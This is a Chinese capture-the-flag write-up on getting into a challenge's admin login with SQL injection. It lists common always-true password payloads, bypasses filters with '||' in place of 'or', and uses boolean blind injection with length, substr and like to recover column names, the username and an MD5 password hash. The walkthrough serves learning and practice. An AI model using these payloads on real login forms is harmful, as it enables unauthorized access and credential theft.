某注入题目思路已经防注入绕过-用a ---1 --- 构造永真语句

首先来看看这道题目的界面:



看到这种后台页面,第一反应要不是伪造cookie,要不是暴力破解<弱口令>,要不就是注入

首先来看是不是cookie,一看editcookie插件中啥都没有,直接排除:


再来看会不会暴力破解,一看存在验证码
,用的还是aliyun的专用验证码,基本不太可能是爆破了,总不会让人去做图片识别吧,试了下burp,确实无法绕过


那么再强猜了几个如admin;qwerty;123456;alictf;alictf.com等不到20个密码之后,放弃

于是,接下来的路
只有注入(万能密码)了!(最终,官方给出的hint是:手注帝在哪里。这证明了这道题是注入题)
首先,我们先把网上流传的常用万能密码列出来:
      
  1. "or " a "=" a
  2. '.).or.(' . a . '=' . a
  3. or 1 = 1 --
  4. ' or 1 = 1 --
  5. a 'or' 1 = 1 --
  6. " or 1 = 1 --
  7. 'or.' a . '=' a
  8. 'or''=''or''='
  9. "or" = " a '=' a
  10. 'or''='
  11. 'or' = 'or'
在全部返回如下页面后,一定有过滤,而且没有回显


不灰心,我们想一下,这里过滤哪些有可能:
      
  1. 1.         单引号
  2. 2.         or
  3. 3.         双引号
  4. 4.         –符号
  5. 5.         #符号

在思考前,我们大致可以猜到题目的sql语句是:
      
  1. Select * from 表名 where 用户列=’ username and 密码列=’ password ’;
那么首先思考单引号,这里既然是考注入,过滤单引号的可能性就不大,不然突破的方案也就只有\即:
      
  1. 用户名:username\  
  2. 密码: or 1 = 1 #
  3. 构造出
  4. Select * from 表名 where 用户列=’ username\’ and 密码列=’ or 1 = 1 #’;//用\破坏username的',将 and 密码列=这一部分作为username的一部分
从而躲避掉’的限制,在尝试多次后,这是不对的~~

那么or是否可以被过滤呢?很多小伙伴会问,如果or被过滤了,怎么构造永真语句?

实mysql除了 or 以外,还有 || 同样代表或的意思,那我们就可以测试一下了:
        
  1. 构造
  2. username : a ‘||( select 1 ) ||’  
  3. password :随意
  4. Select * from 表名 where 用户列=’ a ‘||( select 1 ) ||’’ and 密码列=’ 123 ’;
这个语句显然是构造了(select 1)为永真,并与其他两边为或关系,保证整个语句永真
我们在自己的及其上试试:

但是,提交到题目里依然没有成功:



这里第一反应就是,难道是select或者()被过滤了?
那我们改一下,还可以更简单:
        
  1. 构造
  2. username : a ‘|| 1 ||’   
  3. password :随意
  4. Select * from 表名 where 用户列=’ a ‘|| 1 ||’’ and 密码列=’ 123 ’;
本机测试成功:

出现了flag

接下来想看下用户名和密码到底是什么

那么问题就来了:
1.        过滤了select
2.        无回显
3.        或许这个题目并没有入库,只是匹配答案而已

对于2,我们很好解决,只要能显示flag的,就说明中间的是真,那么就类似于boolean盲注了~
对于3,我们接着测试了length等函数,发现确实是数据库,不然会不支持各种函数

那么,最终只是问题1.过滤了select(测试了各种大小写等绕过方案~均不行)

如何在没有select,or,and,union等的情况下注入

本次注入可以算比较幸运,因为这就是后台注入,一定是在管理员表内,不需要我们去猜表名。

没有select,这里只需要猜列名,虽然有验证码无法burp直接跑,如果不知掉表名,可以使用表名.列名来尝试,如admin.id

这里使用的是length来猜列名:
我们看本地测试就很容易发现,如果列名存在,返回就是真,不存在就是假(error):



得到列名为:username也就是构造:
        
  1. username : a ‘|| length ( username )> 0 ||’   
  2. password :随意
  3. Select * from 表名 where 用户列=’ a ‘|| length ( username )> 0 ||’’ and 密码列=’ 123 ’;


如果要猜表名的话,当然可以使用burp,因为需要猜表名时候一般都不是登陆点,也就是没有验证码的,我们只需要构造“表名.列名”即可,比如下图中表名是admin,将返回真(只能猜本表名。。。):



在列名都不知道时,一般列名都会存在id,uid,sid之类的序号列,我们就猜这种就是了,然后扔到burp中抓包即可,变量就是我们的表名字典


包括alictf的题目中的表名猜出来就是users,如下图:


了列名,我们就要猜长度了,这里还是用length,因为本身就是计算长度的函数,我们从>1开始猜,猜到>5的时候(当然可以用折半法),显示为假,那么,用户名长度就是5啦~


5个长度大家是不是第一个想到的就是admin?

那我们可以来试下,之前我们猜测题目的sql语句是:
        
  1. Select * from 表名 where 用户列=’ username and 密码列=’ password ’;
现在既然猜admin,我们就可以来证实了, 构造:
  1. username=admin ||’  
  2. password=随意
  3. 即构造出||左边为真,并与右边假进行或运算://这样就可以判断用户名是否为admin
  4. Select * from 表名 where 用户列=’ admin ||’’ and 密码列=’password’;
本机上是这样的:



当然,如果不是admin,我们还有一个函数叫substr,用法是:substr(username,1,5)代表取username中第一个字符往后5个字符
譬如本机测试,h4x的第三个字符往后一个字符=x,为真:



如果为假:


另外我们还可以使用like,然后用%来匹配后面的:



那么我们构造:
  1. Username=a’|| substr(username,1,5) like admin ||’  
  2. password=随意
  3. 即(这里的用户列其实已经知道就是username了):
  4. Select * from 表名 where 用户列=’a’|| substr(username,1,5) like admin ||’’ and 密码列=’password’;
提交题目,果断为真:



用同样的方法,我们猜出,密码列为:password也就是构造:
  1. username: a ‘||length(password)>0 ||’  
  2. password:随意
  3. Select * from 表名 where username=’ a ‘|| length(password)>0 ||’’ and password=’123’;
然后测出密码长度是32,果断被md5

然后不断构造,构造:
  1. username: a ‘||substr(password,1,32) like 68a9b7e6d8fd2d3acb43e264a1a4473%’ ||’  
  2. password:随意
  3. Select * from 表名 where username=’ a ‘|| substr(password,1,32) like 68a9b7e6d8fd2d3acb43e264a1a4473%’ ||’’ and password=’123’;



最终得到密码为:68a9b7e6d8fd2d3acb43e264a1a44730